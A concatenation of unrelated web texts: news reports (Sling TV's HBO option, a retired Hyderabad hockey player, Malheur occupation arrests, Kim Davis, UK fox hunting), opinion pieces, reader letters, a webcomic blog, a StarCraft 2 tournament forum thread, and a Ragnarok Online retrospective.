Sling TV is taking steps to avoid a repeat of its March Madness woes when Game of Thrones arrives on HBO this Sunday.
Sling will start offering HBO on April 11, one day ahead of Game of Thrones’ series 5 premiere. It’ll be a $15 per month option on top of Sling’s basic $20 per month bundle, bringing the total price to $35 per month for 20 standard cable channels plus HBO.
Unlike the new HBO Now standalone service, which just debuted on Apple devices for $15 per month, HBO on Sling is not strictly an on-demand offering. It includes a live channel—just like you’d get from a cable or satellite TV provider—plus a library of on-demand content. There’s no access to HBO Go, a separate app for streaming HBO shows with a cable login, but Sling maintains this isn’t necessary because a full library of on-demand video is available through the main Sling TV app.
To coincide with the HBO launch, Sling is updating its apps with “enhancements to reduce overhead and load.” This should hopefully deal with the types of demand spikes that caused some viewers to miss out on portions of the NCAA Final Four.
The app update also includes parental controls across all channels—again, just in time for HBO’s hit series—and some channel guide changes that make it easier to search by genre on TV set-top boxes.
Why this matters: Before this week, the only way to get HBO without a pay TV subscription was to mooch someone else’s cable login. Cord cutters now have two legitimate alternatives: They can get a small bundle of channels with HBO through Sling TV, or get HBO by itself on the iPhone, iPad, and Apple TV. Either way, it’s a significant step toward breaking down bloated cable TV bundles, giving people much more choice and flexibility than they had before.
Satyanarayana, who began to play hockey at the age of six, represented Hyderabad from 1953 onwards
At 85, facing severe financial constraints and dealing with his failing eyesight and hearing, Kota Satyanarayana is hurt about the way he has been forgotten and ignored. After all, he spent his prime playing hockey not just for the state of Hyderabad, but also for the nation.
Satyanarayana, who began to play hockey at the age of six, represented Hyderabad from 1953 onwards. He also played for the south zone team in zonal tournaments in the 1960s. And in the 1962 International Hockey Tournament he represented India.
For his performance on the field for Hyderabad, he was given a job as a conductor with Andhra Pradesh Road Transport Corporation(APSRTC), and was later promoted to the position of travelling ticket inspector. He says, “As I was a hockey player, I was offered a job in the police force in states like Punjab and West Bengal, but because I did not want to leave my family behind and go so far away, I never accepted those offers.”
After Satyanarayana retired from the APSRTC at the age of 55, he continued with his passion for hockey, working as a hockey coach in a few schools and organizing a few summer coaching workshops as well. “I continued with hockey till the time I could manage to play. I only stopped playing three or four years ago as I don’t have much energy to play anymore," he says.
For the past few years, Satyanarana has been struggling with problems of sight and hearing. In December 2015, he underwent surgery on his right eye. And doctors have been recommending for some time now that he get a hearing aid, but he says he simply cannot afford the Rs 15,000 required for a hearing aid.
Satyanarayana says that he and his daughter have made many appeals in the last six or seven years to the state government for financial aid, but has not received a proper response. In January 2015, he says, IT minister K T Rama Rao felicitated him on behalf of the Greater Hyderabad Municipal Corporation (GHMC), and he was promised a monthly pension of Rs 10,000 at that event. “I received the pension for one year, but after that time, that also stopped.”
“I have 35-year-old daughter who is yet to get married, but due to our financial troubles we are not able to find a good match for her. I have two sons who are working in private companies, and it is only with their support that we are able to even get by," he says.
Satyanarana says that he has always lived a simple life, as sportspersons should. “I was never interested in anything else apart from hockey. Even after winning matches, when we would pose for photographs, my coach would tell me that a sportsman should only give importance to the sport to become a successful sportsman.” He says that he has maintained this focus on the sport to the exclusion of all else throughout his life.
Badland Studio managed to get to $66,528 before their time ran out, meaning the rather ambitious stretch goals won’t be happening straight away, but most importantly, the game itself will. Hopefully by Christmas this year.
You can read a bit more about the game and why Adam thinks it’s interesting here, and there’s a motherload of information about the game on its Kickstarter page.
There is inevitably going to be a post-KS Paypal option for continuing to donate to the project, with similar reward tiers. This will run for another month, hoping to mean some of those stretch goals can be realised.
Robert Matney was inspired by the work of his peers and collaborators, Punchdrunk, and Hidden Room Theatre, who used software to give the audience agency in a story. Matney’s production of Deus Ex Machina tells the tale of the Greek tragedies of The Oresteia, a series of plays about a curse being lifted from the House of Atreus and all the vengeance, battles for power, and bloodshed that ensues. Audience and actors alike are thrown into the fire, assuming the role of greek gods duking it out for power.
To give each audience member an easy way to participate in the story, Robert used Twilio SMS. “SMS bridges the digital divide” Robert knew that not everyone attending the performances would have smart phones and didn’t want to “punish people for not having the financial means to own a smart device,” SMS proved to be the great equalizer for Deus Ex Machina.
Robert’s crew uses a variety of technical, physical and theatrical cues to manage the voting, and share the results with the audience. Each voting period has a musical cue, an actor staged accordingly, and a video hint.
As the audience votes, the voting results are projected on stage alongside additional audio/visual cues. Tim Thomas, a Technology Designer at Whirligig, integrated Carter Rabasa’s Votr platform to make the realtime theatrics work.
Managing actors, live story lines that change at an audience member’s whim, and an incredible amount of production assets is hard enough. Robert didn’t want to have to worry about whether or not his audience SMS votes would be registered or stall out. Failures like that could affect the play, and draw the audience out of the story.
“Integrating with Twilio has been a dream. It’s trivial to make changes to messages. The ease of use is going to lead us to have more interactive text messaging where you can “converse” with a Greek god. In fact, we chose Twilio over competitors largely on the strength and usability of its documentation,” said Robert.
“When a character has gone to the oracle and the votes are pouring in and being displayed in real time, people audibly cheer as the votes come in and swing from one option to another. There is a “drama of data” in play, that we never expected as part of the process.”
The last of 26 people indicted on federal charges relating to the Malheur National Wildlife Refuge occupation allegedly led by brothers Ammon and Ryan Bundy, and LaVoy Finicum, was taken into custody last Tuesday by the Iron County Sheriff’s Office in Cedar City.
Travis Levi Cox, 21, of Redmond, Oregon, was booked on a fugitive from justice warrant from the FBI, according to ICSO Lt. Del Schlosser.
“He was aware of the charges against him and turned himself in voluntarily without incident,” he said.
The charges stem from the Jan. 2 occupation of the refuge in Harney County in which the Bundys demanded the federal government turn the property over to the locals for management.
On Jan. 26, Oregon state and FBI officials conducted a roadblock and arrested five of the refuge occupants, including Kanab resident Shawna Cox and the Bundy brothers.
Police shot Finicum during the stop while he was allegedly reaching into his coat for a firearm.
Officials have since released reports stating a handgun was found in Finicum’s possession during the incident.
On March 8, officials filed charges against six additional alleged participants, Cox one of them, bringing the total to 26 people charged.
“Travis Cox (and 25 others) did knowingly and willfully conspire and agree together and with each other and with persons known and unknown to the Grand Jury to prevent by force, intimidation, and threats, officers and employees of the United States Fish and Wildlife Service and the Bureau of Land Management, agencies within the United States Department of Interior, from discharging the duties of their office at the Malheur National Wildlife Refuge and other locations in Harney County, Oregon, in violation of Title 18, United States Code, Section 372,” according to court papers.
This is not the first tie to Iron County from the occupiers of the Oregon standoff.
On Jan. 13, Finicum and Ryan Bundy left the Malheur refuge to travel to Cedar City where Finicum discussed the occupation on the radio with local talk show host Bryan Hyde.
Former Iron County Commissioner David Miller, known for his support of state management over federal lands, also admitted to meeting with Finicum and discussing plans for a upcoming property rights workshop.
Miller has since resigned his seat on the commission to pursue ventures in Alaska.
On Jan. 25, Cedar City was host to a Western Rights Property workshop in which organizers asked local ranchers to renounce their BLM grazing permits, eight of which allegedly did.
Attorney Todd MacFarlane and rancher John Pratt, both of whom were at the Malheur occupation for a limited time, were speakers at the workshop.
In March, Brand Thornton, who left the Malheur complex just days before the Bundys' arrests, was in Cedar City collecting signatures for a petition urging Gov. Gary Herbert to establish a militia to take back “more than 30 million acres of Utah land that was stolen by the federal government.”
On March 25, Aimee Edwards, deputy communications director for Herbert, said the governor has not seen such a petition and therefore cannot comment on it.
On Thursday, Cox was transported to a hearing in St. George where he admitted to being the person listed in the court filings, according to court records.
“The defendant stated he is the Travis Cox on the arrest warrant and wishes to return to the District of Oregon,” according to court papers.
Follow Haven Scott, @HavenWScott. Call him at 435-865-4522.
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Police say the incident happened at around 6:30 p.m. and is being investigated as a suicide.
A source told KTVU the man rolled up to a clinic at 1030 International Blvd. and that it was a pipe bomb that caused the fatal explosion. The San Antonio Neighborhood Health Center is at that location. The explosives detonated inside, but no one else was hurt.
Witnesses reported that the adult male in a wheelchair entered the clinic with what appeared to be a pipe bomb. According to Oakland police this was an isolated incident.
Oakland Fire Department and emergency medical services responded to the scene.
U.S. District Court Judge David Bunning placed Rowan County Clerk Kim Davis in the custody of U.S. marshals until she complies, saying fines were not enough to force her to comply with his previous order to provide the paperwork to all couples and allowing her to defy the order would create a “ripple effect.”
“Her good-faith belief is simply not a viable defense,” Bunning said. “Oaths mean things.”
Davis, who was tearful at times, testified that she could not obey the order because God’s law trumps the court.
“My conscience will not allow it,” she said. “God’s moral law convicts me and conflicts with my duties.”
Davis’s arrest was met with cheers by same-sex marriage advocates who for some reason did not demand imprisonment of officials who lawlessly issued gay marriage licenses in clear contravention of state and federal laws. Take, for example, Democrat Gavin Newsom, who is currently the California lieutenant governor. Back in 2004, when gay marriage was banned under California state law, Newsom openly defied the law and used his power as the mayor of San Francisco to force taxpayer-funded government clerks to issue gay marriage licenses:
Newsom unleashed a political and legal tempest February 12 when he ordered the city clerk to begin issuing marriage licenses to same-sex couples.
Nearly 3,200 same-sex couples have gotten licenses in a nine-day frenzy that included thousands of family, friends and soon-to-be betrothed couples ringing City Hall, sometimes for days.
Just like Kim Davis, who is an elected Democrat, Newsom justified his lawlessness by citing his own conscience and beliefs about right and wrong rather than deferring to the actual laws of his state.
If you look for evidence of gay rights advocates chastising Newsom for his blatant lawlessness, you won’t find it. Because it doesn’t exist. You similarly won’t find any evidence of these principled law enforcement purists chastising California state officials for refusing to enforce or defend the Prop 8 ballot initiative in California, which was passed overwhelmingly by California voters.
And don’t you dare look for evidence of high-minded progressives demanding prison sentences for the Washington, D.C. bureaucrats who openly defied federal court orders to issue concealed carry permits in the nation’s capital. Nope. Instead of enforcing the law as handed down in multiple Supreme Court cases, D.C. officials kept manufacturing new reasons to justify their refusal to comply with federal gun laws.
Don’t even get me started on federal laws regarding drug possession. You won’t find progressives calling for the prosecution of scores of Colorado officials in open defiance of federal drug bans, or calling for the heads of federal officials who refuse to enforce federal drug laws in Colorado. No, those federal laws are icky. Sure, they’re indisputably the law of the land. And sure, officials have a duty to equally apply and enforce standing law, but icky laws are different. Only non-icky laws need to be enforced.
Perhaps natural marriage advocates should abandon their religious liberty arguments and instead declare whole cities to be marriage sanctuaries. That strategy has worked splendidly for open borders advocates. Who cares what the federal law requires when it comes to illegal immigration? Those laws restricting citizenship rights to citizens are icky, so they don’t need to be enforced. Sanctuary cities are great, so long as they provide sanctuary from icky laws of which progressives disapprove.
Oh, and those laws regarding the proper handling of classified national security information? Meh. Yeah, those are icky, too. So lay off Hillary Clinton, you dirty law truther. Who cares if she ignored clear law and policy by setting up an unsecured, unsanctioned e-mail server which was then used to house and distribute classified information? Who cares if President Barack Obama himself signed the executive order mandating the protection of national security information, the unauthorized release of which could damage American safety and security? Who cares if she intentionally sent classified information to people outside the government who were never cleared to receive it? Progressives think that law is icky, too, so you’ll have to excuse them from not caring about Hillary’s blatant violation of it (laws regarding the handling of classified information are totally not icky, though, when applied to Republicans like David Petraeus or Scooter Libby).
When you really think about it, though, this whole kerfuffle is obviously the fault of Kim Davis, the Kentucky clerk who refuses to issue gay marriage licenses. She should’ve known better. She should’ve thought this whole thing through.
Carly Gordyn​ discovered this the hard way when she kept quiet about the blood that began appearing in her bowel movements when she was a teenager. Too scared to tell her parents or a GP she turned to Dr Google who convinced her she was going to die. Five years later when severe gut pain made it almost impossible to eat, a colonoscopy revealed ulceration in her small intestine and a diagnosis of Crohn's disease - one of a group of conditions known as Inflammatory Bowel Disease which cause the gut to become inflamed.
It's time to flush our toilet anxiety.
Now Gordyn, 26, wants to raise awareness of what it's like to live with this increasingly common disease that can involve episodes of chronic and unpredictable diarrhoea.
I was recently at a hawker centre, carrying an umbrella, a handbag and a tray with a bowl of very hot soup, and looking for a seat.
I saw a young man seated at a table meant for six waiting for his companions who were ordering food. The table was reserved with tissue paper.
I asked if all the seats were taken, and was told that they were. I said that it was not fair that the whole table was reserved when he and his companions were taking turns ordering food. After all, I did not have the luxury of having a companion to reserve a space for me.
He proceeded to say that "it is Singapore style" and argued with me, using a lot of expletives.
You do not see such selfish acts in other countries in the region. It is an embarrassment, as we consider ourselves to be First World. MANDY LEW (MS)
It is time to rein in this unacceptable and embarrassing behaviour. The relevant authorities and foodcourt managements should implement and enforce a code of conduct to eradicate this practice, which has no place in a First World country. LAWRENCE LOH KIAH MUAN
Just ignore the 'chope'. When I cannot find a seat, I just push aside whatever item that has been left there and take the seat. If the person returns while I am there, I just tell him or her that there is no reservation of seats in a hawker centre. If everybody does this, then this bad practice will go away. PHUA KOK HEE
Finally, he and his group vacated the table to sit elsewhere, where they continued arguing agitatedly.
I do not believe this kind of behaviour is any style at all, let alone "Singapore style".
There are no positives to this habit of reserving tables. It has gone on for long enough.
Panini has announced that they've landed a license with the MLBPA to produce baseball cards featuring major league players. Their first set under the deal comes in December with 2011 Elite Extra Edition Baseball with 2011 Contenders Baseball following.
This deal provides some legitimate competition in the baseball card market as Topps has been the only company producing licensed cards for the past couple of seasons. Topps still holds the exclusive trading card rights to the MLB license, which means that Panini will not be able to use team uniforms or logos. But in gaining the MLBPA license, the Texas-based company will be able to produce cards of major league players.
Josh Hamilton will be used heavily in the marketing of the cards. The reigning American League MVP will be featured on packaging and in autograph card programs.
As I was drawing”Adventure Awaits”, it dawned on me that, not only did I have no idea where this story line was headed, but it was also getting kinda creepy. Sorry ’bout that.
You might say, “Well, if you don’t like it, why do it?”
Then I would say, “Time.”
I ran out of time and had to make the best of a bad idea.
Normally I promote the hell out of each strip on Twitter, Facebook, and Reddit. Today I’m only posting it once to social media and I’m not even bothering with Reddit.
REDDIT
Speaking of Reddit, I was sure that Tuesday’s strip “Potty” wouldn’t be very well received either. It’s an obscure joke and is creepy as well. I was considering not posting it to Reddit. But, last minute, I posted it to my usual sub-reddits anyway: r/comics and r/webcomics. Both received zero upvotes. On a whim, I had also posted it to r/DoctorWhumour. There it got over 150 upvotes by the end of the day! It even got 24 in r/funny. And even weirder still, It got almost 60 upvotes on Imgur. I guess you never know who’s gonna like which comic.
PODCAST
“I’m gearing up to do another podcast. I’d like to include a Q&A segment, so If you’d like to ask me or Jack a question, please email skittercomic@gmail.com
See you next week!
John
If you’d like to see the pencil art of this and other Skitter comics, as well as time-lapse videos of their creation, visit the Skitter Patreon page and become a subscriber!
TRANSCRIPT
JACK: “So let me get this straight… a strange old man lures a naive little girl into a port-o-potty under the guise that it’s really a time and space machine… What are we waiting for! Let’s dot this!”
DR. POO: “Adventure awaits!”
FART!
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David Cameron is planning to hold a vote on relaxing the fox hunting ban next week in a move that is only likely to be successful if the Scottish National party decides to stay out of the debate.
The prime minister will stop short of offering a vote to repeal the ban, which he promised in the Conservative manifesto.
Instead, Downing Street is offering a compromise solution in which hunters could use a pack of dogs to flush out foxes before shooting them. There is currently a limit of two dogs.
This would bring England’s law into line with the restrictions in Scotland, making it more difficult for the SNP to object.
It is understood Cameron is planning to hold the free vote next Thursday on a statutory instrument to amend the Hunting Act, rather than requiring full legislation and hours of debate.
Pro-hunting MPs are understood to be happy with the proposed “middle way” but animal rights campaigners condemned the proposal.
Robbie Marsland, director of the League Against Cruel Sports , said it was “nothing but sneaking hunting in through the back door”.
“By amending the Hunting Act like this, the government are deliberately and cynically making it easier for hunts to chase and kill foxes, and harder for them to be convicted when they break the law. This is not about hunting foxes for pest control. It’s about hunting foxes for fun,” he said.
“David Cameron pledged to hold a free vote on bringing back hunting but clearly they know they couldn’t win. So now they are using deception to fool the public.”
Cameron’s proposal does not quite fulfil his Conservative manifesto pledge, which would have offered parliament the chance to repeal the Hunting Act with a government bill on government time.
It is understand he retreated from that position because pro-hunting MPs were not confident there was enough support in the Commons to fully overturn the ban.
“I think [the compromise proposal] makes a significant difference to the numbers. It’s not completely straightforward but there are a lot of people who were reluctant about going the whole hog but are relatively happy with the proposed change,” one Conservative MP said.
The success of Cameron’s proposal relies on the tradition that the SNP does not vote on English issues as a matter of principle.
Nicola Sturgeon, the SNP leader, said after the election that her party was still considering the issue as it certainly did not agree with repealing the ban.
An SNP spokesman said no decision had yet been taken on whether the party would vote on the amendment.
MPs will not be subject to a party whip on the matter, which is considered to be one of conscience. Cameron is likely to vote in favour of the change, having written for the Countryside Alliance in March that he would like to see the ban repealed.
At the time, Cameron, who was once a member of Heythrop hunt in Oxfordshire, argued hunting was no less humane than other methods of controlling foxes.
When women started coming into her store — The Joy of Knitting — in search of patterns and yarn, Poe took a stand that she knew could be bad for business. She shared her position on her Facebook page:
With the recent women's march on Washington, I ask that you if you want yarn for any project for the women's movement… Posted by The Joy of Knitting on Tuesday, January 24, 2017
Her post reads:
With the recent women’s march on Washington, I ask that you if you want yarn for any project for the women’s movement that you please shop for yarn elsewhere. The vulgarity, vile and evilness of this movement is absolutely despicable. That kind of behavior is unacceptable and is not welcomed at The Joy of Knitting. I will never need that kind of business to remain open. Two wrongs will never ever make it right. As the owner of this business and a Christian, I have a duty to my customers and my community to promote values of mutual respect, love, compassion, understanding, and integrity. The women’s movement is counterproductive to unity of family, friends, community, and nation. I do pray for these women. May God work out His love in their hearts and continue to heal and unite Americans. Elizabeth
And it wasn’t long before the angry comments began to pile up:
“Misinformed, hateful, ignorant, and sexist women like you are why we marched and why we are continuing to act. Thank you for the reminder that our work is far from over and for the motivation to continue!”
“Have you considered giving up your business to your husband so you can go back in the kitchen and make him some sammiches? Proper, traditional women have no business running a business.”
“Oh, honey. If you were a real Christian, we’d know you by your deeds. As it is, you’re showing us that you’re a hateful, judgmental hypocrite who knows nothing about the teachings of Jesus. But hey, we’ll stay away from your store. You know, the one you’re able to own only because our foremothers fought and marched for your right to do so.”
And a short time later, her phone began to ring…
The Federalist reported:
She stayed in the car for three hours reading the comments on her [Facebook] post before calling the police to alert them about the threatening tone of some of the responses. On Wednesday morning, a crew from a local TV station walked into her store to film, as her post had gone viral. By the end of the day, she had received about 200 phone calls. On Thursday, 700 people called the store, on Friday, there were another 300 calls. On these calls, she’s been screamed at, called names, and threatened with rape and other violent acts. Some of the callers just breathed loudly into the phone.
But Poe isn’t letting the haters get to her. She told the Federalist that when she knows the call is a prank, she answers: “Trump Tower, Franklin.”
And in the face of all the hate, she’s gotten a lot of support from both her regular customers and women all across the country.
It even appears that she got one very auspicious fan letter from the White House:
https://www.facebook.com/photo.php?fbid=1560227087335880&set=a.700702963288301.1073741826.100000458101963&type=3&theater
It’s been more than two years since the 3,500 sqft trauma centre at Ozarde, near Talegaon, was completed.
Considering the number of accidents and the resultant deaths on it, the 94-km expressway is fast-emerging as a death trap.
Between 2010 and 2016, 2,579 accidents took place on the expressway, in which 887 people lost their lives.
With such high number of accidents, a trauma care centre is a must to provide medical assistance to the victims during the ‘golden hour’.
The trauma care centre has operation rooms, recovery rooms, two helipads and other facilities.
In March, the state health department evaluated proposals from three trusts, which run hospitals in Navi Mumbai and Pune, and submitted its report to the MSRDC.
“We did the evaluation and submitted our report to them. Now the MSRDC board has to finalise which medical institution it wants to appoint to operate the trauma care centre on the expressway,” said Dr HH Chavan, deputy director of health services, Pune.
However, the MSRDC has raised concerns over the recommendation of Pune-based Sancheti hospital by the health department to manage the centre.
“Though we have received the recommendation from the state health department, our board is yet to take the final decision. The department has recommended Sacheti hospital to run the centre, but our chairperson has raised some doubts over it,” RL Mopalwar, vice-chairperson and managing director, MSRDC, told HT.
The other two medical institutions which had applied to supply staff were Mahatma Gandhi Medical College, Kamothe and Shree Shankar Charitable Trust, Pune.
A senior official said that minister and MSRDC chairperson Eknath Shinde has expressed concerns over the distance between the trauma centre and the hospital.
“The trauma care centre is only to stabilise accident victims, following which they will be shifted to a hospital. The distance between the centre and Sancheti hospital is about 32km. So it will be better if we get a medical institute which is closer to the centre,” the official added.
The bill now says that it's OK to impinge on people's First Amendment freedoms even if they are not conspiring to commit a violent crime or deliberately inciting one, as long as the burden "is in furtherance of a compelling governmental interest and is the least restrictive means of furthering that compelling governmental interest." In light of this more permissive language, Bader argues, the new law could be combined with the federal "aiding and abetting" statute to justify prosecuting people whose speech allegedly influenced others to commit hate crimes, even when that result was unintended. For example, a minister who inveighs against homosexuality could be prosecuted if a member of his congregation assaults gay people.
This is the sort of scenario cited by many conservative opponents of the hate crime bill. It never seemed very plausible to me, and I still think the courts would reject such cases on First Amendment grounds. But it's hard to see the purpose of the change highlighted by Bader and York unless it was meant to allow prosecutions that go beyond violent criminals to the people who allegedly shape their thinking.
As I previously wrote, in the last 10 years only one team has won the premiership without being ranked first or second in the league in defence.
But can a player’s attacking prowess outweigh poor defence? Let’s take a look at a key position that personifies attacking football – the halves.
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The main responsibilities of a five-eighth and halfback is to direct the team’s attack and put points on the board – either by doing it themselves or setting up their teammates.
Check out the combined stats of two halves pairings from teams who play completely different brands of football – the Parramatta Eels and the Melbourne Storm.
The Eels often play free-flowing football that is just as likely to produce a 90-metre try as it is an intercept going the other way, while the Storm are the masters of grinding their opponents out of the game.
Eels halves combined stats: 102 metres per game, 19 try assists, 11 line breaks, 20 line break assists, 42 tackle breaks, 17 offloads, 4 tries, 5.5 missed tackles per game, 24.2 tackles per game.
Storm halves combined stats: 77 metres per game, 11 try assists, 7 line breaks, 11 line break assists, 29 tackle breaks, 7 offloads, 6 tries, 2.7 missed tackles per game, 34.7 tackles per game.
Surprisingly, Corey Norman and Chris Sandow outrank their Melbourne Storm counterparts in almost every attacking stat. But defensively, Cooper Cronk and Blake Green are far more solid than the Eels’ pair – they miss fewer tackles, despite making more of them.
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Sandow alone misses more tackles (3.4) than Cronk (1.3) and Green (1.4) do together.
So can a player’s attacking flair make up for poor defensive? Parramatta and the Storm are at opposite ends of the table and while there are dozens of reasons why, this is one of them.
Alberta Beatdown (07/23/2011 - Edmonton, Alberta)
Hosted by
Edmonton Gamers
Alberta Beatdown (07/23/2011 - Edmonton, Alberta)
Date: Saturday July 23rd 2011. Venue Opens at 11:30 am
Location: Over Klocked Gaming & Computers: 11618 - 119 St Edmonton, AB Off Kingsway near city center airport
Over Klocked Gaming
Over Clocked Facebook
Venue Fee: $5
Game Entry for Starcraft 2: Singles: $10.00
PRIZE DISTRIBUTION
Going down July 23rd, Saturday, 2011
LETS THE GAMES BEGIN!
HYPE TRALIOR
MAPS
MLG Metal
MLG Shakuras
MLG Testbug
MLG Shattered Temple
MLG Xel'Naga Caverns
MLG Tal'Darim Altar
MLG Typhon Peaks
Alberta Beatdown (07/23/2011 - Edmonton, Alberta)Hosted byAlberta Beatdown (07/23/2011 - Edmonton, Alberta)Date: Saturday July 23rd 2011. Venue Opens at 11:30 amLocation: Over Klocked Gaming & Computers: 11618 - 119 St Edmonton, AB Off Kingsway near city center airportVenue Fee: $5Game Entry for Starcraft 2: Singles: $10.00PRIZE DISTRIBUTION60/30/10Going down July 23rd, Saturday, 2011 STARCRAFT 2 MAPS and Rules
LETS THE GAMES BEGIN!MAPSMLG MetalMLG ShakurasMLG TestbugMLG Shattered TempleMLG Xel'Naga CavernsMLG Tal'Darim AltarMLG Typhon Peaks Get hype
Zerkaszhan Profile Joined November 2010 Canada 120 Posts #2 WOOT!!! so stoked
-StyX :D here comes the swarm
Clonze Profile Joined October 2009 Canada 280 Posts #3 i suck at sc2. =[ Putting zenio on your fantasy team is almost as bad as putting him on your actual team. -Alex Smith
prodiG Profile Blog Joined January 2010 Canada 2014 Posts #4 how haven't i heard about this place?! shiro, is this venue any better than absolute power? (please say yes)
definitely gonna check this out... maybe attempt to make my debut in commentating marvel 3 and/or street fighter? oOoOo ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
HuskyMUDKIPZ Profile Blog Joined November 2010 228 Posts #5 On May 22 2011 16:57 Clonze wrote:
i suck at sc2. =[
It's alright, I will get you first round .
Definitely attending this sucker. It's alright, I will get you first roundDefinitely attending this sucker.
Shiro420 Profile Joined August 2010 Canada 200 Posts Last Edited: 2011-05-22 18:43:59 #6 HYPE TRAILOR Get hype
Zerkaszhan Profile Joined November 2010 Canada 120 Posts #7 On May 22 2011 16:57 Clonze wrote:
i suck at sc2. =[
no you dont Clonze
no you dont Clonze here comes the swarm
Shiro420 Profile Joined August 2010 Canada 200 Posts #8 prodiG, please pm me your contact Get hype
Abean Profile Joined August 2010 Canada 4 Posts #9
Can you send me/upload the replays from last tournament that you guys saved? My friends missed the game and wanted to see the replays. Thanks Hey Shiro,Can you send me/upload the replays from last tournament that you guys saved? My friends missed the game and wanted to see the replays. Thanks
Shiro420 Profile Joined August 2010 Canada 200 Posts #10 They will be streamed soon Get hype
Andro Profile Joined June 2007 Canada 87 Posts #11 this time ill get first! or die trying
aneruok Profile Joined July 2010 Canada 122 Posts #12 This is gonna awesome! so gonna be there
s[O]rry Profile Blog Joined November 2009 Canada 398 Posts #13 On May 22 2011 16:57 Clonze wrote:
i suck at sc2. =[
Quoted for truth. But seriously. PLAY WITH ME MORE! MEANIE! Quoted for truth. But seriously. PLAY WITH ME MORE! MEANIE! Sunshine.
Atrium Profile Joined April 2010 Canada 109 Posts #14 On May 26 2011 07:35 s[O]rry wrote:
Show nested quote +
On May 22 2011 16:57 Clonze wrote:
i suck at sc2. =[
Quoted for truth. But seriously. PLAY WITH ME MORE! MEANIE! Quoted for truth. But seriously. PLAY WITH ME MORE! MEANIE!
YO SUNSHINE, I'm thinking of going to this. Let's grab Bitters and be road trip buddies again. ;D
YO SUNSHINE, I'm thinking of going to this. Let's grab Bitters and be road trip buddies again. ;D
Xzilend Profile Joined March 2011 Canada 29 Posts #15 Probably going to go up to this from Calgary, looking forward to it! MrBitter: "What do you do when you attack?" ... Student: "I lose?"
Atrium Profile Joined April 2010 Canada 109 Posts #16 On May 28 2011 03:02 Xzilend wrote:
Probably going to go up to this from Calgary, looking forward to it!
Ah, a fellow Calgarian! Did you go to any of my 'Way To Frag' tournaments? Ah, a fellow Calgarian! Did you go to any of my 'Way To Frag' tournaments?
Xzilend Profile Joined March 2011 Canada 29 Posts #17 Do you have any more coming up? I think I remember reading about them. I'm just starting to get into the LAN scene, my first event is LanifiedDo you have any more coming up? I think I remember reading about them. MrBitter: "What do you do when you attack?" ... Student: "I lose?"
Atrium Profile Joined April 2010 Canada 109 Posts #18 On May 28 2011 03:13 Xzilend wrote:
I'm just starting to get into the LAN scene, my first event is Lanified Do you have any more coming up? I think I remember reading about them. I'm just starting to get into the LAN scene, my first event is LanifiedDo you have any more coming up? I think I remember reading about them.
That's great man, welcome! The Alberta scene for starcraft 2 is awesome, and by far the best part about starcraft.
Unfortunately Way To Frag is no more, but i'm in the works of getting Calgary back to it's former glory of tournaments every weekend or so. We shall see!
First and foremost though I wan't to get more into the competition. =) That's great man, welcome! The Alberta scene for starcraft 2 is awesome, and by far the best part about starcraft.Unfortunately Way To Frag is no more, but i'm in the works of getting Calgary back to it's former glory of tournaments every weekend or so. We shall see!First and foremost though I wan't to get more into the competition. =)
Xzilend Profile Joined March 2011 Canada 29 Posts #19 Ah I see, well if you get some more tournaments going I'll be sure to attend! We can't let Edmonton have an edge on us MrBitter: "What do you do when you attack?" ... Student: "I lose?"
Atrium Profile Joined April 2010 Canada 109 Posts #20 On May 28 2011 04:05 Xzilend wrote:
Ah I see, well if you get some more tournaments going I'll be sure to attend! We can't let Edmonton have an edge on us Ah I see, well if you get some more tournaments going I'll be sure to attend! We can't let Edmonton have an edge on us
Edmonton, "edge". Hahahaha.. Edmonton, "edge". Hahahaha..
2007. How quickly time passes on the Internet! After just over a year of playing Ragnarok Online, despite never having obtained a transcended character or winning a War of Emporium, the experiences I shared with my guild made it feel as if I had truly lived a long life in the game’s world and would not be able to gain anything further by continuing to play. People had come and gone over time and past memories could no longer be replicated– my leave was almost a regretful one. As fate would have it, Gravity was rolling out a successor to their iconic MMO around that time. When Ragnarok Online 2: The Gate of the World had a stable server running, I had the fortune to work closely with a team who was picking the game apart. As I worked with the community and the developers, it was breathtaking to watch the 2D monsters of Ragnarok Online take form in 3D. After each patch that Gravity would release, there would be a scramble to pick through the new content to see how the game designers were thinking. I distinctly recall walking through some of the maps wondering whether if in a few years the maps would look completely different (a la Payon Town in Ragnarok Online). Unfortunately, the kRO2 service began to give indications of slowing down and eventually scrapped the project in 2010. My own adventures in Ragnarok Online 2 ended in 2008 after stepping down as Head GM.
2013. Five years after stepping down from the world of Ragnarok Online 2, I stepped back into it. Gravity decided to completely rebuild the scrapped Gate of the World project and release a new iteration of the failed sequel using a new game engine. Starting in 2012, beta tests began in Korea for Ragnarok Online 2: Legend of the Second. After being aware of the game for months, it was only when an English South East Asian server was opened for beta test that I decided to try the game. As my own tale of Ragnarok brings me to the present day, I decided to write up my thoughts and compare how Midgard has changed over time.
After my friend told me about the SEA English version of Ragnarok Online 2, I was excited enough to register an account right then and there. I downloaded the client, fired up the patcher (which to my dismay was the same clunky inelegant sort that they used in Gate of the World), and got ready for Open Beta Test to commence on December 27th. Despite the servers not being up, I couldn’t resist launching the game (and saw our familiar buddy Hackshield in the corner) to drool over the title screen. To my surprise, they recycled the old Gate of the World title music for it, but severely upgraded the graphics. Imagine my rage then when the OBT was postponed to January 3rd because of high server loads. Now multiply this rage by about 30 after PlayPark decided to place an IP ban on all countries except Thailand, Vietnam, Singapore, and Malaysia about a day before OBT started. Thankfully I was able to get past this and was able to get a taste of this new iteration of Ragnarok Online to be able to compare it to its history.
Area: Title Screen
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Ragnarok Online BGM
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Ragnarok Online 2: The Gate of the World BGM
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Ragnarok Online 2: Legend of the Second BGM
Graphical Comparison (Thumbnails):
Title screens tend to change over the course of the life cycle of an MMO. Ragnarok Online’s title screen is comprised of a simple backdrop and a login box. Gate of the World took a more artistic approach using a 3D animated background with a login box. At the bottom, logos for Team Mercury and Studio DTDS are visible. Legend of the Second opted to take the simplicity of RO’s title screen and RO2’s animated 3D background to create an elegant, minimalistic title screen to ease the player into the game world. Both iterations of RO2 recycled the same background music, though I feel that all versions capture the feel of the game quite well.
Area: Loading Screen
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Graphical Comparison (Thumbnails):
